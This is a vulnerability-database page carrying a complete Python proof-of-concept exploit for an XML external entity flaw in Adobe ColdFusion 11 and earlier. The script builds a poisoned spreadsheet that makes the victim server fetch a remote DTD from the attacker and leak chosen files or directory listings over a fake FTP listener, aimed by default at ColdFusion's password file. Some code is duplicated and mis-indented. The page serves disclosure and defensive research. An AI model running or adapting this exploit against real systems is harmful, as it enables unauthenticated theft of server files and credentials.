Lucene search
K

Adobe ColdFusion < 11 Update 10 - XML external entity injection

🗓️ 09 Sep 2016 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 106 Views

Adobe ColdFusion XXE Injection vulnerability in XML parser processing Office Open XML (OOXML) documents, allowing arbitrary file reading and directory listing by unauthenticated remote attacker

Related
Code

                                                #!/usr/bin/python  
 
intro = """
(CVE-2016-4264) ColdFusion <= 11   XXE / Arbitrary File Read PoC exploit
 
This exploit produces a PoC OOXML spreadsheet document with XXE payload that can be 
uploaded to a vulnerable ColdFusion application. 
It starts up an ftp/data receiver (port 9090) as well as a web server (port 8080) 
in order to retrieve an arbitrary file from the victim (upon processing the PoC spreadsheet).
 
Discovered/Coded by:
 
 Dawid Golunski
 http://legalhackers.com
"""
usage = """
Usage:
The exploit requires that you have an external IP and can start web/http listeners on ports 
8080/9090 on the attacking machine.
 
./cf_xxe_exploit.py external_IP 'path_to_fetch'
 
The example below starts an ftp listener on 192.168.1.40 (port 9090) and web server on 8080 
and fetches c:\windows\win.ini file from the target.
 
./cf_xxe_exploit.py 192.168.1.40 c:/windows/win.ini
 
The path can also be a directory to retrieve a directory listing e.g:
 
./cf_xxe_exploit.py 192.168.1.40 c:/
 
will list the contents of drive C: on Windows
 
Disclaimer:
For testing purposes only. Do no harm.
 
Full advisory URL:
http://legalhackers.com/advisories/Adobe-ColdFusion-11-XXE-Exploit-CVE-2016-4264.txt
"""
 
import socket     
import subprocess
import sys
import web # http://webpy.org/installation
import threading
import time
 
# What file to retrieve from the victim server
target_file = "c:/ColdFusion11/cfusion/lib/pass"
# Web server (to serve XML)
external_ip = '192.168.57.10'
web_port = 8080
# File receiver 
ftp_port = 9090
timeout=5   
 
# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
class webserver(threading.Thread):
    def run (self):
        urls = ('/passdata.xml', 'pass_xml')
        app = web.application(urls, globals())
        #app.run()
    return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))
 
# Pass data to ftp server using passdata.xml
class pass_xml:
    def GET(self):
    print xxe_send_payload
 
# HTTP listener that will return intermediate XML (passdata.xml) in order to establish an ftp connection
class webserver(threading.Thread):
    def run (self):
        urls = ('/passdata.xml', 'pass_xml')
        app = web.application(urls, globals())
        #app.run()
    return web.httpserver.runsimple( app.wsgifunc(), ('0.0.0.0', web_port))
 
# Return helper xml/xxe payload to forward data
class pass_xml:
    def GET(self):
    print "[+] Received GET /passdata.xml web request from the victim (%s) ! TARGET VULNERABLE to XXE !\n" % (web.ctx['ip'])
    return xxe_send_payload
 
def shutdown(code):
    print "[+] That's it folks :) Shutting down \n"
    web.httpserver.server.interrupt = KeyboardInterrupt()
    exit(code)
 
 
# [ Main Meat ]
 
print intro
redirector_started = 0
 
if len(sys.argv) < 3 :
   print usage
   sys.exit(2)
 
# Overwrite settings with parameters from argv[]
external_ip = sys.argv[1]
target_file = sys.argv[2]
 
print "[+] Setting external IP to '%s' and target path to '%s'\n" % (external_ip, target_file)
 
# Prepare XXE payloads
#OOXML XXE stub
ooxml_xxe_payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Types [
        <!ENTITY % remote SYSTEM "http://_attackerhost_:_webport_/passdata.xml">
        %remote; 
]>
"""
ooxml_xxe_payload = ooxml_xxe_payload.replace("_attackerhost_", external_ip)
ooxml_xxe_payload = ooxml_xxe_payload.replace("_webport_", str(web_port))
 
# passdata.xml
xxe_send_payload = """<!ENTITY % file1 SYSTEM "file:///_filepath_">
<!ENTITY % param1 '<!ENTITY &#37; retrfile1 SYSTEM "ftp://cfhack:PoCexploit@_attackerhost_:_ftpport_/%file1;" >' >
%param1;
%retrfile1; """
xxe_send_payload = xxe_send_payload.replace("_filepath_", target_file)
xxe_send_payload = xxe_send_payload.replace("_attackerhost_", external_ip)
xxe_send_payload = xxe_send_payload.replace("_ftpport_", str(ftp_port))
 
# Create OXML spreadsheet file cf_poc_spreadsheet.xlsx with XXE payload
f = open("[Content_Types].xml", "w")
f.write(ooxml_xxe_payload )
f.close()
cmd = "zip -r cf_poc_spreadsheet.xlsx '[Content_Types].xml' && rm -f '[Content_Types].xml'"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait() 
if rc != 0:
    print "Error: failed to execute command:", cmd
    print error 
    shutdown(3)
 
print "[+] Successfully created PoC spreadsheet with XXE payload in 'cf_poc_spreadsheet.xlsx' file\n"
print "[+] Starting our web server to serve XML on %s:%s \n" % (external_ip, web_port)
webserver().start()
time.sleep(1)
 
print '\n[+] Starting FTP/data listener and waiting for connection on %s:%d\n' % (external_ip, ftp_port)
s = socket.socket()         # Create/bind socket
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((external_ip, ftp_port))  
 
print "[*] Upload the 'cf_poc_spreadsheet.xlsx' spreadsheet document to the target ColdFusion app now...\n"
 
s.listen(5)                 # Wait for the victim to connect
c, addr = s.accept()        # Establish connection with the victim
print '\n[+] Got a connection from ', addr, " to our FTP/data server. Meaning juicy data is on the way! :)\n"
c.send("220 Welcome to ColdFusion XXE PoC exploit server\n")
 
print '[+] Receiving data from the victim...\n'
 
downloaded = ""
 
while True:
   data = ""
   c.settimeout(timeout)
   try:
        data = c.recv(1024)
   except socket.timeout:
        print "Timeout ! No more data\n"
    break
 
   # extract data
   if data.startswith("CWD "):
       downloaded = downloaded + data[4:]
   if data.startswith("RETR "):
       downloaded = downloaded + data[5:]
 
   print "Received packet: " + data
   #sys.stdout.write('.')
   #sys.stdout.flush()
 
   if "USER" in data:
      c.send("331 password needed\n")
   elif "RETR" in data:
    c.send("550 No such file or directory.\n")
    break
   else:
      c.send('230 continue\n')
 
# Results
print "\n\n[+] Here's the retrieved contents of the target file/directory (%s) : \n\n%s\n" % (target_file, downloaded)
 
# shutdown
c.close()                # Close the connection
s.shutdown(0)
s.close()
shutdown(0)
 

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation